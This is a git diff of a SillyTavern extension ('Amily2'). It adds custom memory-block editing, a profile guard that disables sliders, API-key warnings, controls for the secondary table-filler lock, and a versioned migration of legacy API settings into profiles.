panel.find('#amily2_opt_table_enabled').val(tableEnabledValue);
panel.find('#amily2_opt_ejs_enabled').prop('checked', settings.plotOpt_ejsEnabled);
panel.find(`input[name="amily2_opt_api_mode"][value="${settings.plotOpt_apiMode}"]`).prop('checked', true);
panel.find('#amily2_opt_tavern_api_profile_select').val(settings.plotOpt_tavernProfile);
panel.find(`input[name="amily2_opt_worldbook_source"][value="${settings.plotOpt_worldbookSource || 'character'}"]`).prop('checked', true);
panel.find('#amily2_opt_worldbook_enabled').prop('checked', settings.plotOpt_worldbookEnabled);
panel.find('#amily2_opt_new_memory_logic_enabled').prop('checked', settings.plotOpt_newMemoryLogicEnabled);
panel.find('#amily2_opt_api_url').val(settings.plotOpt_apiUrl);
// plotOpt_apiKey 是敏感字段,从 configManagerlocalStorage读取
panel.find('#amily2_opt_api_key').val(configManager.get('plotOpt_apiKey') || '');
const modelInput = panel.find('#amily2_opt_model');
const modelSelect = panel.find('#amily2_opt_model_select');
modelInput.val(settings.plotOpt_model);
modelSelect.empty();
if (settings.plotOpt_model) {
modelSelect.append(new Option(settings.plotOpt_model, settings.plotOpt_model, true, true));
} else {
modelSelect.append(new Option('<-请先获取模型', '', true, true));
}
syncModelMirror(modelInput.get(0), modelSelect.get(0));
panel.find('#amily2_opt_top_p').val(settings.plotOpt_top_p);
panel.find('#amily2_opt_presence_penalty').val(settings.plotOpt_presence_penalty);
panel.find('#amily2_opt_frequency_penalty').val(settings.plotOpt_frequency_penalty);
@@ -690,7 +616,6 @@ function opt_loadSettings(panel) {
}, 0);
}
opt_updateApiUrlVisibility(panel, settings.plotOpt_apiMode);
opt_updateWorldbookSourceVisibility(panel, settings.plotOpt_worldbookSource || 'character');
opt_bindSlider(panel, '#amily2_opt_top_p', '#amily2_opt_top_p_value');
@@ -703,7 +628,6 @@ function opt_loadSettings(panel) {
opt_loadWorldbookEntries(panel);
});
opt_loadTavernApiProfiles(panel);
}
@@ -713,6 +637,9 @@ function bindConcurrentApiEvents() {
if (!concurrentToggle || !concurrentContent) return;
// plotOptConc 槽分配 profile 后maxTokens 由 profile 权威控制T-006 informational 化)
watchProfileSliderGuard('plotOptConc', ['#amily2_plotOpt_concurrentMaxTokens']);
const settings = extension_settings[extensionName] || {};
// Initial Load
@@ -1057,6 +984,180 @@ function opt_purgeGarbageKeys() {
}
}
// ========== 自定义记忆块memory-blocks Phase 2 ==========
// 该面板管理的块固定挂在剧情优化流水线;其他 context如战斗系统由各自模块注册
const MEMORY_BLOCK_CONTEXT = 'plotOptimization';
function opt_renderCustomBlocks(panel) {
const list = panel.find('#amily2_opt_custom_blocks_list');
if (list.length === 0) return;
const blocks = listCustomBlocks(MEMORY_BLOCK_CONTEXT);
if (blocks.length === 0) {
list.html('<div style="opacity: 0.6; font-style: italic; padding: 4px 0;">尚无自定义块。</div>');
return;
}
const rows = blocks.map(b => {
const typeBadge = b.generator?.type === 'ai_call'
? '<span style="font-size: 0.8em; padding: 1px 6px; border-radius: 3px; background: rgba(88,166,255,0.25);">AI 调用</span>'
: '<span style="font-size: 0.8em; padding: 1px 6px; border-radius: 3px; background: rgba(120,200,120,0.25);">静态</span>';
return `
<div class="amily2-custom-block-row" data-id="${escapeHTML(b.id)}" style="display: flex; align-items: center; gap: 8px; padding: 6px 8px; margin-bottom: 4px; background: rgba(0,0,0,0.15); border-radius: 4px;">
<input type="checkbox" class="mb-enabled" ${b.enabled !== false ? 'checked' : ''} title="启用/停用此块">
<span style="flex: 1; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;">
<b>${escapeHTML(b.name || '(未命名)')}</b>
<code style="margin-left: 6px;">${escapeHTML(b.placeholder)}</code>
</span>
${typeBadge}
<button class="menu_button mb-edit" title="编辑" style="padding: 2px 8px;"><i class="fa-solid fa-pen"></i></button>
<button class="menu_button mb-delete" title="删除" style="padding: 2px 8px;"><i class="fa-solid fa-trash-alt"></i></button>
</div>`;
});
list.html(rows.join(''));
}
function opt_showCustomBlockModal(panel, blockId) {
const existing = blockId ? getCustomBlock(blockId) : null;
const gen = existing?.generator || {};
const isAiCall = gen.type === 'ai_call';
// API 槽下拉:仅列出 chat 类型功能槽
const slotOptions = Object.entries(SLOTS)
.filter(([, def]) => def.type === 'chat')
.map(([key, def]) => `<option value="${key}" ${key === (gen.apiSlot || 'main') ? 'selected' : ''}>${escapeHTML(def.label)} (${key})</option>`)
.join('');
const formHtml = `
<div class="amily2-mb-form" style="display: flex; flex-direction: column; gap: 12px;">
<label>显示名称
<input id="mb_name" class="text_pole" type="text" value="${escapeHTML(existing?.name || '')}" placeholder="例如:战况摘要">
</label>
<label>占位符(在主/拦截提示词中按字面量匹配替换)
<input id="mb_placeholder" class="text_pole" type="text" value="${escapeHTML(existing?.placeholder || '')}" placeholder="例如:{{combat_state}} 或 myBlock1">
</label>
<label>生成方式
<select id="mb_type" class="text_pole">
<option value="static" ${!isAiCall ? 'selected' : ''}>静态内容</option>
<option value="ai_call" ${isAiCall ? 'selected' : ''}>AI 调用</option>
</select>
</label>
<div id="mb_static_fields" style="${isAiCall ? 'display: none;' : ''}">
<label>静态内容
<textarea id="mb_static_value" class="text_pole" rows="4">${escapeHTML(gen.value !== undefined ? String(gen.value) : '')}</textarea>
</label>
</div>
<div id="mb_ai_fields" style="display: ${isAiCall ? 'flex' : 'none'}; flex-direction: column; gap: 12px;">
<label>API 槽(使用该功能槽的连接配置独立请求一次)
<select id="mb_api_slot" class="text_pole">${slotOptions}</select>
</label>
<label>系统提示词(可选)
<textarea id="mb_system_prompt" class="text_pole" rows="3">${escapeHTML(gen.systemPrompt || '')}</textarea>
</label>
<label>用户提示词(必填)
<textarea id="mb_prompt_template" class="text_pole" rows="5">${escapeHTML(gen.promptTemplate || '')}</textarea>
</label>
<label>提取标签(可选,只取回复中 &lt;标签&gt;...&lt;/标签&gt; 的内容;标签缺失时回退完整回复)
<input id="mb_extract_tag" class="text_pole" type="text" value="${escapeHTML(gen.extractTag || '')}" placeholder="例如result">
</label>
</div>
</div>`;
showHtmlModal(existing ? '编辑记忆块' : '新增记忆块', formHtml, {
okText: '保存',
onShow: (dialog) => {
dialog.find('#mb_type').on('change', function () {
const aiMode = $(this).val() === 'ai_call';
dialog.find('#mb_static_fields').toggle(!aiMode);
dialog.find('#mb_ai_fields').css('display', aiMode ? 'flex' : 'none');
});
},
onOk: (dialog) => {
const placeholder = String(dialog.find('#mb_placeholder').val() || '').trim();
if (!placeholder) {
toastr.warning('占位符不能为空。');
return false;
}
const conflict = listCustomBlocks(MEMORY_BLOCK_CONTEXT)
.find(b => b.placeholder === placeholder && b.id !== blockId);
if (conflict) {
toastr.warning(`占位符 "${placeholder}" 已被块 "${conflict.name || conflict.id}" 占用。`);
return false;
}
const type = dialog.find('#mb_type').val();
let generator;
if (type === 'ai_call') {
const promptTemplate = String(dialog.find('#mb_prompt_template').val() || '');
if (!promptTemplate.trim()) {
toastr.warning('AI 调用块的用户提示词不能为空。');
return false;
}
generator = {
type: 'ai_call',
apiSlot: dialog.find('#mb_api_slot').val() || 'main',
promptTemplate,
};
const systemPrompt = String(dialog.find('#mb_system_prompt').val() || '');
if (systemPrompt.trim()) generator.systemPrompt = systemPrompt;
const extractTag = String(dialog.find('#mb_extract_tag').val() || '').trim();
if (extractTag) generator.extractTag = extractTag;
} else {
generator = { type: 'static', value: String(dialog.find('#mb_static_value').val() || '') };
}
const patch = {
name: String(dialog.find('#mb_name').val() || '').trim(),
placeholder,
context: MEMORY_BLOCK_CONTEXT,
generator,
};
try {
if (existing) {
updateCustomBlock(blockId, patch);
toastr.success('记忆块已更新。');
} else {
addCustomBlock(patch);
toastr.success('记忆块已创建。');
}
} catch (error) {
toastr.error(`保存失败: ${error.message}`);
return false;
}
opt_renderCustomBlocks(panel);
},
});
}
function bindCustomBlockEvents(panel) {
// settings → registry 重放一次,确保面板与执行器看到同一份块清单
syncCustomBlocksFromSettings();
opt_renderCustomBlocks(panel);
panel.on('click', '#amily2_opt_add_custom_block', () => opt_showCustomBlockModal(panel, null));
panel.on('click', '.amily2-custom-block-row .mb-edit', function () {
opt_showCustomBlockModal(panel, $(this).closest('[data-id]').attr('data-id'));
});
panel.on('click', '.amily2-custom-block-row .mb-delete', function () {
const row = $(this).closest('[data-id]');
const id = row.attr('data-id');
const block = getCustomBlock(id);
if (!confirm(`确定删除记忆块 "${block?.name || id}"`)) return;
deleteCustomBlock(id);
opt_renderCustomBlocks(panel);
toastr.success('记忆块已删除。');
});
panel.on('change', '.amily2-custom-block-row .mb-enabled', function () {
const id = $(this).closest('[data-id]').attr('data-id');
updateCustomBlock(id, { enabled: this.checked });
});
}
export function initializePlotOptimizationBindings() {
const panel = $('#amily2_plot_optimization_panel');
if (panel.length === 0 || panel.data('events-bound')) {
@@ -1167,6 +1268,7 @@ export function initializePlotOptimizationBindings() {
});
opt_loadSettings(panel);
bindCustomBlockEvents(panel);
bindJqyhApiEvents();
bindConcurrentApiEvents();
bindConcurrentPromptEvents();
@@ -1219,17 +1321,13 @@ export function initializePlotOptimizationBindings() {
opt_saveSetting(key, value);
}
if (key === 'plotOpt_api_mode') {
opt_updateApiUrlVisibility(panel, value);
}
if (element.name === 'amily2_opt_worldbook_source') {
opt_updateWorldbookSourceVisibility(panel, value);
opt_loadWorldbookEntries(panel);
}
};
const allInputSelectors = [
'input[type="checkbox"]', 'input[type="radio"]', 'select:not(#amily2_opt_model_select)',
'input[type="checkbox"]', 'input[type="radio"]', 'select',
'input[type="text"]', 'input[type="password"]', 'textarea',
'input[type="range"]', 'input[type="number"]'
].join(', ');
@@ -1238,30 +1336,6 @@ export function initializePlotOptimizationBindings() {
handleSettingChange(this);
});
panel.on('input.amily2_opt change.amily2_opt', '#amily2_opt_model', function() {
syncModelMirror(
panel.find('#amily2_opt_model').get(0),
panel.find('#amily2_opt_model_select').get(0)
);
});
panel.on('change.amily2_opt', '#amily2_opt_model_select', function() {
const selectedModel = $(this).val();
if (selectedModel) {
panel.find('#amily2_opt_model').val(selectedModel).trigger('change');
}
});
panel.on('click.amily2_opt', '#amily2_opt_refresh_tavern_api_profiles', () => {
opt_loadTavernApiProfiles(panel);
});
panel.on('change.amily2_opt', '#amily2_opt_tavern_api_profile_select', function() {
const value = $(this).val();
opt_saveSetting('tavernProfile', value);
});
panel.find('#amily2_opt_import_prompt_presets').on('click', () => panel.find('#amily2_opt_preset_file_input').click());
panel.find('#amily2_opt_export_prompt_presets').on('click', () => opt_exportPromptPresets());
@@ -1391,220 +1465,9 @@ export function initializePlotOptimizationBindings() {
});
}
// ========== Jqyh API 事件绑定函数 ==========
// ========== Jqyh API 事件绑定函数(已迁移至 plotOpt 槽位,此处仅保留空壳) ==========
function bindJqyhApiEvents() {
console.log("[Amily2号-Jqyh工部] 正在绑定Jqyh API事件...");
const updateAndSaveSetting = (key, value) => {
console.log(`[Amily2-Jqyh令] 收到指令: 将 [${key}] 设置为 ->`, value);
if (!extension_settings[extensionName]) {
extension_settings[extensionName] = {};
}
extension_settings[extensionName][key] = value;
saveSettingsDebounced();
console.log(`[Amily2-Jqyh录] [${key}] 的新状态已保存。`);
};
// Jqyh API 开关控制
const jqyhToggle = document.getElementById('amily2_jqyh_enabled');
const jqyhContent = document.getElementById('amily2_jqyh_content');
if (jqyhToggle && jqyhContent) {
jqyhToggle.checked = extension_settings[extensionName].jqyhEnabled ?? false;
jqyhContent.style.display = jqyhToggle.checked ? 'block' : 'none';
jqyhToggle.addEventListener('change', function() {
const isEnabled = this.checked;
updateAndSaveSetting('jqyhEnabled', isEnabled);
jqyhContent.style.display = isEnabled ? 'block' : 'none';
});
}
// API模式切换
const apiModeSelect = document.getElementById('amily2_jqyh_api_mode');
const compatibleConfig = document.getElementById('amily2_jqyh_compatible_config');
const presetConfig = document.getElementById('amily2_jqyh_preset_config');
if (apiModeSelect && compatibleConfig && presetConfig) {
apiModeSelect.value = extension_settings[extensionName].jqyhApiMode || 'openai_test';
const updateConfigVisibility = (mode) => {
if (mode === 'sillytavern_preset') {
compatibleConfig.style.display = 'none';
presetConfig.style.display = 'block';
loadJqyhTavernPresets();
} else {
compatibleConfig.style.display = 'block';
presetConfig.style.display = 'none';
}
};
updateConfigVisibility(apiModeSelect.value);
apiModeSelect.addEventListener('change', function() {
updateAndSaveSetting('jqyhApiMode', this.value);
updateConfigVisibility(this.value);
});
}
// API配置字段绑定
const apiFields = [
{ id: 'amily2_jqyh_api_url', key: 'jqyhApiUrl' },
{ id: 'amily2_jqyh_api_key', key: 'jqyhApiKey', sensitive: true },
{ id: 'amily2_jqyh_model', key: 'jqyhModel' }
];
apiFields.forEach(field => {
const element = document.getElementById(field.id);
if (element) {
// 敏感字段API Key从 configManagerlocalStorage读取
element.value = field.sensitive
? (configManager.get(field.key) || '')
: (extension_settings[extensionName][field.key] || '');
const saveField = function() {
if (field.sensitive) {
configManager.set(field.key, this.value);
} else {
updateAndSaveSetting(field.key, this.value);
if (field.key === 'jqyhModel') {
syncModelMirror(
document.getElementById('amily2_jqyh_model'),
document.getElementById('amily2_jqyh_model_select')
);
}
}
};
bindInputLikeSave(element, saveField);
}
});
// 滑块控件绑定
const sliderFields = [
{ id: 'amily2_jqyh_max_tokens', key: 'jqyhMaxTokens', defaultValue: 4000 },
{ id: 'amily2_jqyh_temperature', key: 'jqyhTemperature', defaultValue: 0.7 }
];
sliderFields.forEach(field => {
const slider = document.getElementById(field.id);
const display = document.getElementById(field.id + '_value');
if (slider && display) {
const value = extension_settings[extensionName][field.key] || field.defaultValue;
slider.value = value;
display.textContent = value;
slider.addEventListener('input', function() {
const newValue = parseFloat(this.value);
display.textContent = newValue;
updateAndSaveSetting(field.key, newValue);
});
}
});
// SillyTavern预设选择器
const tavernProfileSelect = document.getElementById('amily2_jqyh_tavern_profile');
if (tavernProfileSelect) {
tavernProfileSelect.value = extension_settings[extensionName].jqyhTavernProfile || '';
tavernProfileSelect.addEventListener('change', function() {
updateAndSaveSetting('jqyhTavernProfile', this.value);
});
}
// 测试连接按钮
const testButton = document.getElementById('amily2_jqyh_test_connection');
if (testButton) {
testButton.addEventListener('click', async function() {
const button = $(this);
const originalHtml = button.html();
button.prop('disabled', true).html('<i class="fas fa-spinner fa-spin"></i> 测试中');
try {
await testJqyhApiConnection();
} catch (error) {
console.error('[Amily2号-Jqyh] 测试连接失败:', error);
} finally {
button.prop('disabled', false).html(originalHtml);
}
});
}
const fetchModelsButton = document.getElementById('amily2_jqyh_fetch_models');
const modelSelect = document.getElementById('amily2_jqyh_model_select');
const modelInput = document.getElementById('amily2_jqyh_model');
if (fetchModelsButton && modelSelect && modelInput) {
fetchModelsButton.addEventListener('click', async function() {
const button = $(this);
const originalHtml = button.html();
button.prop('disabled', true).html('<i class="fas fa-spinner fa-spin"></i> 获取中');
try {
const models = await fetchJqyhModels();
if (models && models.length > 0) {
modelSelect.innerHTML = '<option value="">-- 请选择模型 --</option>';
models.forEach(model => {
const option = document.createElement('option');
option.value = model.id || model.name || model;
option.textContent = model.name || model.id || model;
modelSelect.appendChild(option);
});
modelSelect.style.display = 'block';
modelInput.style.display = 'none';
modelSelect.addEventListener('change', function() {
const selectedModel = this.value;
modelInput.value = selectedModel;
updateAndSaveSetting('jqyhModel', selectedModel);
console.log(`[Amily2-Jqyh] 已选择模型: ${selectedModel}`);
});
toastr.success(`成功获取 ${models.length} 个模型`, 'Jqyh 模型获取');
} else {
toastr.warning('未获取到任何模型', 'Jqyh 模型获取');
}
} catch (error) {
console.error('[Amily2号-Jqyh] 获取模型列表失败:', error);
toastr.error(`获取模型失败: ${error.message}`, 'Jqyh 模型获取');
} finally {
button.prop('disabled', false).html(originalHtml);
}
});
}
}
async function loadJqyhTavernPresets() {
const select = document.getElementById('amily2_jqyh_tavern_profile');
if (!select) return;
const currentValue = select.value;
select.innerHTML = '<option value="">-- 加载中 --</option>';
try {
const context = getContext();
const tavernProfiles = context.extensionSettings?.connectionManager?.profiles || [];
select.innerHTML = '<option value="">-- 请选择预设 --</option>';
if (tavernProfiles.length > 0) {
tavernProfiles.forEach(profile => {
if (profile.api && profile.preset) {
const option = document.createElement('option');
option.value = profile.id;
option.textContent = profile.name || profile.id;
if (profile.id === currentValue) {
option.selected = true;
}
select.appendChild(option);
}
});
} else {
select.innerHTML = '<option value="">未找到可用预设</option>';
}
} catch (error) {
console.error('[Amily2号-Jqyh] 加载SillyTavern预设失败:', error);
select.innerHTML = '<option value="">加载失败</option>';
}
// Jqyh 直连配置已移除,剧情优化统一走 ApiProfile plotOpt 槽位
}
// ========== 图标位置切换(跨模块通用事件) ==========

View File

@@ -0,0 +1,62 @@
/**
* ui/profile-slider-guard.js — profile 压制提示T-006
*
* v2.2.0 起 profile 一旦分配即权威:模块面板上的温度 / maxTokens 等参数控件
* 不再影响请求,但控件本身仍可操作——用户改了没效果,是个陷阱。
*
* 本模块提供统一的"informational 化"处理:
* - slot 已分配 profile → 控件 disable + 半透明,旁边插入提示行
* "当前由连接配置「xxx」控制请在 API 连接配置面板修改"
* - 未分配 → 恢复可用、移除提示legacy 字段路径仍然生效)
*
* 用法(各面板绑定初始化时调用一次):
* watchProfileSliderGuard('cwb', ['#cwb-temperature', '#cwb-max-tokens']);
*
* 刷新时机:立即执行一次 + 监听 ApiProfileManager.setAssignment 派发的
* 'amily2-profile-assignment-changed' 事件(只响应本 slot 的变更)。
* 面板内容是惰性挂载的apply 对找不到的元素静默跳过,可安全重复调用。
*/
import { apiProfileManager } from '../utils/config/ApiProfileManager.js';
import { escapeHTML } from '../utils/utils.js';
const HINT_CLASS = 'amily2-profile-guard-hint';
/**
* 按当前分配状态套用/解除压制提示。无状态,可重复调用。
* @param {string} slot - ApiProfileManager.SLOTS 中的功能槽名
* @param {string[]} selectors - 受 profile 压制的输入控件选择器列表
*/
export function applyProfileSliderGuard(slot, selectors) {
const $els = $(selectors.join(', '));
if ($els.length === 0) return; // 面板尚未挂载
const profileId = apiProfileManager.getAssignment(slot);
const profile = profileId ? apiProfileManager.getProfile(profileId) : null;
// 提示行挂在第一个控件所属的块级容器之后;先清旧的再按需重建,避免重复
const $anchor = $els.first().closest('div, label');
$anchor.parent().find(`.${HINT_CLASS}`).remove();
if (profile) {
$els.prop('disabled', true).css('opacity', '0.5');
$anchor.after(
`<div class="${HINT_CLASS}" style="font-size: 0.85em; opacity: 0.75; margin: 4px 0;">` +
`<i class="fa-solid fa-lock" style="margin-right: 4px;"></i>` +
`以上参数当前由连接配置「${escapeHTML(profile.name || profileId)}」控制,请在 API 连接配置面板修改。` +
`</div>`
);
} else {
$els.prop('disabled', false).css('opacity', '');
}
}
/**
* applyProfileSliderGuard + 订阅分配变更事件。各面板初始化时调用一次。
*/
export function watchProfileSliderGuard(slot, selectors) {
applyProfileSliderGuard(slot, selectors);
document.addEventListener('amily2-profile-assignment-changed', (e) => {
if (e.detail?.slot === slot) applyProfileSliderGuard(slot, selectors);
});
}

View File

@@ -145,7 +145,7 @@ const SLOT_CONFIGS = {
ragRerank: {
container: '#hly-rerank-tab .hly-settings-group',
hideParentBlock: ['#hly-rerank-api-mode', '#hly-rerank-url', '#hly-rerank-api-key', '#hly-rerank-model'],
fields: { provider: '#hly-rerank-api-mode', apiUrl: '#hly-rerank-url', model: '#hly-rerank-model' },
fields: { apiUrl: '#hly-rerank-url', model: '#hly-rerank-model' },
keyField: '#hly-rerank-api-key',
testFn: async () => {
await executeRagRerank('test', ['test'], null);
@@ -210,7 +210,15 @@ function _snapshotLegacyFields(slot, config) {
function _fillLegacyFields(config, profile) {
for (const [key, sel] of Object.entries(config.fields || {})) {
const el = document.querySelector(sel);
if (el) el.value = profile[key] ?? '';
if (!el) continue;
const value = profile[key] ?? '';
// select 赋不存在的 option 值(如 provider 'custom_oai' 写进只有
// custom/google_direct 的 select会让 value 静默变 '',后续任何
// 全量保存会把 '' 污染进 settings——跳过这类赋值保留原选项
if (el.tagName === 'SELECT' && ![...el.options].some(o => o.value === value)) {
continue;
}
el.value = value;
}
if (config.keyField) {
const keyEl = document.querySelector(config.keyField);
@@ -284,11 +292,22 @@ function _injectCard(slot, profile, _config, container) {
),
].join('');
// Key 是设备本地存储ApiKeyStore 不跨设备同步profile 随云端设置同步而来
// 时本设备可能没有 Key——明确提示否则用户只会在调用时收到"Key 未提供"报错
const needsKey = profile && !['sillytavern_preset', 'sillytavern_backend'].includes(profile.provider);
const keyWarnHtml = (needsKey && !profile.apiKey) ? `
<span style="color:var(--warning-color,#e6a23c); font-size:0.85em;"
title="API Key 仅保存在最初填写它的设备/浏览器上,不随云端设置同步。请点击「管理」编辑该配置并重新填写 Key。">
<i class="fas fa-key"></i> 本设备无 Key
</span>
` : '';
const detailHtml = profile ? `
<span style="color:var(--SmartThemeQuoteColor); font-size:0.85em;">
${providerLabel ? `<i class="fas fa-cloud"></i> ${_esc(providerLabel)}` : ''}
${profile.model ? ` · <i class="fas fa-robot"></i> ${_esc(profile.model)}` : ''}
</span>
${keyWarnHtml}
` : `
<span style="color:var(--warning-color); font-size:0.85em;">
未分配时该模块不会继续展示/保存独立 API 输入项。

View File

@@ -9,6 +9,7 @@ function createEmptyProfile() {
tagExtractionEnabled: false,
tags: '',
exclusionRules: [],
excludeUserMessages: false,
};
}
@@ -57,6 +58,7 @@ function collectProfile(container) {
tagExtractionEnabled: container.find('#amily2_rule_profile_tag_toggle').is(':checked'),
tags: container.find('#amily2_rule_profile_tags').val(),
exclusionRules,
excludeUserMessages: container.find('#amily2_rule_profile_exclude_user').is(':checked'),
};
}
@@ -83,6 +85,7 @@ function fillEditor(container, profile) {
container.find('#amily2_rule_profile_tag_toggle').prop('checked', !!current.tagExtractionEnabled);
container.find('#amily2_rule_profile_tags').val(current.tags || '');
container.find('#amily2_rule_profile_tags_wrap').toggle(!!current.tagExtractionEnabled);
container.find('#amily2_rule_profile_exclude_user').prop('checked', !!current.excludeUserMessages);
renderRules(container, current.exclusionRules || []);
}

View File

@@ -5,6 +5,7 @@ import { extensionName } from '../utils/settings.js';
import { updateOrInsertTableInChat } from './message-table-renderer.js';
import { saveSettingsDebounced } from '/script.js';
import { startBatchFilling } from '../core/table-system/batch-filler.js';
import { resetSecondaryFillerLock, isSecondaryFillerRunning, abortCurrentSecondaryFiller } from '../core/table-system/secondary-filler.js';
import { showHtmlModal } from './page-window.js';
import { DEFAULT_AI_RULE_TEMPLATE, DEFAULT_AI_FLOW_TEMPLATE } from '../core/table-system/settings.js';
import { world_names, loadWorldInfo } from '/scripts/world-info.js';
@@ -1370,7 +1371,9 @@ export function bindTableEvents(panelElement = null) {
const contextSlider = document.getElementById('secondary-filler-context');
const batchSlider = document.getElementById('secondary-filler-batch');
const bufferSlider = document.getElementById('secondary-filler-buffer');
const maxRetriesSlider = document.getElementById('secondary-filler-max-retries'); // 【新增】
const maxRetriesSlider = document.getElementById('secondary-filler-max-retries');
const delaySlider = document.getElementById('secondary-filler-delay');
const batchFillingThresholdInput = document.getElementById('batch-filling-threshold');
const tableRuleProfileSelect = document.getElementById('table-rule-profile-select');
@@ -1438,13 +1441,86 @@ export function bindTableEvents(panelElement = null) {
if (maxRetriesSlider) {
const value = extension_settings[extensionName]?.secondary_filler_max_retries ?? 2;
maxRetriesSlider.value = value;
maxRetriesSlider.addEventListener('change', function() {
updateAndSaveTableSetting('secondary_filler_max_retries', parseInt(this.value, 10));
toastr.info(`最大重试次数已设置为 ${this.value}`);
});
}
if (delaySlider) {
const value = extension_settings[extensionName]?.secondary_filler_delay ?? 0;
delaySlider.value = value;
delaySlider.addEventListener('change', function() {
const parsed = Math.max(0, parseInt(this.value, 10) || 0);
this.value = parsed;
updateAndSaveTableSetting('secondary_filler_delay', parsed);
toastr.info(`触发延迟已设置为 ${parsed} 毫秒。`);
});
}
if (batchFillingThresholdInput) {
const value = extension_settings[extensionName]?.batch_filling_threshold ?? 30;
batchFillingThresholdInput.value = value;
batchFillingThresholdInput.addEventListener('change', function() {
const parsed = Math.max(1, parseInt(this.value, 10) || 30);
this.value = parsed;
updateAndSaveTableSetting('batch_filling_threshold', parsed);
toastr.info(`批处理阈值已设置为 ${parsed}`);
});
}
const abortBtn = document.getElementById('amily2-abort-secondary-filler');
const resetLockBtn = document.getElementById('amily2-reset-secondary-filler-lock');
const lockStatusSpan = document.getElementById('amily2-secondary-filler-lock-status');
if ((abortBtn || resetLockBtn) && lockStatusSpan) {
const refreshLockStatus = () => {
const running = isSecondaryFillerRunning();
lockStatusSpan.textContent = running ? '状态:占用中' : '状态:空闲';
lockStatusSpan.style.color = running ? 'var(--SmartThemeQuoteColor, #d97706)' : '';
};
refreshLockStatus();
if (abortBtn) {
abortBtn.addEventListener('click', () => {
const signaled = abortCurrentSecondaryFiller();
if (signaled) {
toastr.warning('已发出中断信号,进行中的请求将立即终止,结果会被丢弃。', 'Amily2');
log('用户手动中断了当前分步填表AbortController.abort。', 'warn');
} else {
toastr.info('当前没有正在进行的分步填表。', 'Amily2');
}
setTimeout(refreshLockStatus, 300);
});
abortBtn.addEventListener('mouseenter', refreshLockStatus);
abortBtn.addEventListener('focus', refreshLockStatus);
}
if (resetLockBtn) {
resetLockBtn.addEventListener('click', () => {
const wasLocked = resetSecondaryFillerLock();
refreshLockStatus();
if (wasLocked) {
toastr.success('分步填表锁已手动释放。', 'Amily2');
log('用户手动释放了分步填表锁(之前处于占用状态)。', 'warn');
} else {
toastr.info('当前并无锁占用,无需释放。', 'Amily2');
}
});
resetLockBtn.addEventListener('mouseenter', refreshLockStatus);
resetLockBtn.addEventListener('focus', refreshLockStatus);
}
}
const fcToggle = document.getElementById('table-fill-function-call-enabled');
if (fcToggle) {
fcToggle.checked = extension_settings[extensionName]?.tableFillFunctionCall ?? false;
fcToggle.addEventListener('change', function() {
updateAndSaveTableSetting('tableFillFunctionCall', this.checked);
toastr.info(`Function Call 填表已${this.checked ? '启用' : '禁用'}`);
});
}
updateFillingModeUI();
if (tableRuleProfileSelect) {

File diff suppressed because one or more lines are too long

View File

@@ -67,8 +67,8 @@ export const SLOTS = {
main: { label: '主 API正文优化', type: 'chat' },
plotOpt: { label: '剧情优化 / JQYH', type: 'chat' },
plotOptConc: { label: '剧情优化(并发)', type: 'chat' },
ngms: { label: 'NGMS 历史记录', type: 'chat' },
nccs: { label: 'NCCS 并发', type: 'chat' },
ngms: { label: 'NGMS(总结)', type: 'chat' },
nccs: { label: 'NCCS(填表)', type: 'chat' },
cwb: { label: '角色世界书', type: 'chat' },
autoCharCard: { label: '一键生卡', type: 'chat' },
sybd: { label: '术语表填写', type: 'chat' },
@@ -220,6 +220,8 @@ class ApiProfileManager {
}
this._assignments()[slot] = profileId;
this._save();
// 通知各模块面板刷新 profile 压制状态(见 ui/profile-slider-guard.js
document.dispatchEvent(new CustomEvent('amily2-profile-assignment-changed', { detail: { slot, profileId } }));
return true;
}
@@ -254,6 +256,7 @@ class ApiProfileManager {
...base,
maxTokens: data.maxTokens ?? 65500,
temperature: data.temperature ?? 1.0,
fakeStream: data.fakeStream ?? false,
// 自定义参数:透传到 LLM 请求 body 的额外 key/valuetop_p、frequency_penalty 等)
// 由 utils/api-vendor.js 提供 vendor 标准参数提示,但不强校验。
customParams: (typeof data.customParams === 'object' && data.customParams !== null)
@@ -353,7 +356,8 @@ function _detectVendorFromUrlSync(url) {
/**
* 每个 slot 的 legacy 字段映射。jqyh 已合并到 plotOpt 不单独迁移。
* cwb / autoCharCard / ragEmbed / ragRerank 字段结构差异较大,留作后续。
* autoCharCard 字段是嵌套对象acc_executor_config / acc_planner_config
* 不走此平铺映射,在迁移 IIFE 里单独处理ragEmbed / ragRerank 留作后续。
*/
const LEGACY_PROFILE_MIGRATION_MAP = [
{
@@ -410,13 +414,32 @@ const LEGACY_PROFILE_MIGRATION_MAP = [
temperatureKey: 'sybdTemperature',
name: 'SYBD 旧配置',
},
{
slot: 'cwb',
urlKey: 'cwb_api_url',
modelKey: 'cwb_api_model',
keyName: 'cwb_api_key',
maxTokensKey: 'cwb_max_tokens',
temperatureKey: 'cwb_temperature',
modeKey: 'cwb_api_mode', // 预设模式下残留的 url/model 不可信,跳过迁移
name: '角色世界书 旧配置',
},
];
/**
* 迁移版本号:首次发布的 6 槽迁移为 v1旧布尔标记 _legacyProfileMigrationDone
* v2 新增 cwb + autoCharCard。版本号小于当前值时重跑迁移循环——循环本身按
* "已分配 profile 的 slot 跳过"幂等,老用户只会补迁新增槽位,不会产生重复 profile。
*/
const LEGACY_MIGRATION_VERSION = 2;
;(async () => {
try {
const s = extension_settings[extensionName];
if (!s) return;
if (s._legacyProfileMigrationDone) return; // 幂等
// 版本化幂等:旧布尔标记视为 v1小于当前版本则重跑循环内部按 slot 幂等
const migratedVersion = s._legacyProfileMigrationVersion ?? (s._legacyProfileMigrationDone ? 1 : 0);
if (migratedVersion >= LEGACY_MIGRATION_VERSION) return;
const migrated = [];
for (const m of LEGACY_PROFILE_MIGRATION_MAP) {
@@ -426,6 +449,8 @@ const LEGACY_PROFILE_MIGRATION_MAP = [
const url = String(s[m.urlKey] ?? '').trim();
const model = String(s[m.modelKey] ?? '').trim();
if (!url || !model) continue; // 旧配置不完整,跳过
// 模块运行在 ST 预设模式时url/model 是切换模式前的残留,迁成权威 profile 会改变行为
if (m.modeKey && s[m.modeKey] === 'sillytavern_preset') continue;
const provider = _detectVendorFromUrlSync(url) || 'custom_oai';
@@ -451,6 +476,40 @@ const LEGACY_PROFILE_MIGRATION_MAP = [
migrated.push(`${m.slot}${profileId}`);
}
// autoCharCard 特殊处理legacy 配置是两份嵌套对象executor=模型A / planner=模型B
// 而 profile 分配后两个角色共用同一份配置。只有当 planner 未配置或与 executor
// 完全一致时才自动迁移,否则迁移会悄悄改变 planner 行为,留给用户手动处理。
